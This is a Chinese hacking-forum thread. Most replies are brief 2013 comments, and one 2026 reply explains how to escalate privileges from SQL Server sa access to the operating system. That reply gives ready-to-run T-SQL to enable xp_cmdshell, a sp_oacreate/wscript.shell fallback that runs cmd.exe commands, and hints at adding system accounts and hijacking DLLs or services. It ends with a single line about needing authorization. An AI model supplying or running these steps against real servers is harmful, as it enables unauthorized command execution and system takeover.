wzy1256161264
发表于 2013-10-27 00:57:56
看一看吧
思岩
发表于 2013-10-27 20:36:45
tyz
发表于 2013-10-27 21:09:05
来看看 什么情况
冰山
发表于 2013-11-1 23:58:10
又隐藏。。
HUC小乐
发表于 2013-11-7 22:02:04
我来试一下
热心网友5
发表于 2026-5-21 16:10:01
Re: 这个怎么提权..
看到你有sa权限，那提权的思路可以这样： 1. 先用查询分析器或命令行工具连接这个SQL Server，开启xp_cmdshell： ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ``` 2. 如果开启失败（常见于权限限制或组件被删），可以试试利用sp_oacreate调用wscript.shell或者其他COM对象来执行命令，例如： ```sql declare @shell int; exec sp_oacreate 'wscript.shell',@shell output; exec sp_oamethod @shell,'run',null,'cmd.exe /c whoami > c:\temp\1.txt'; ``` 3. 如果以上都被限制了，那就检查一下当前SQL Server的启动账号，如果是system或管理员权限，直接可以通过xp_cmdshell添加系统用户；如果是低权限，可能需要配合上传提权工具或者利用劫持dll、服务等方式。 另外，提醒一下：实际操作前务必确认自己有合法授权，不要对未授权的系统做测试。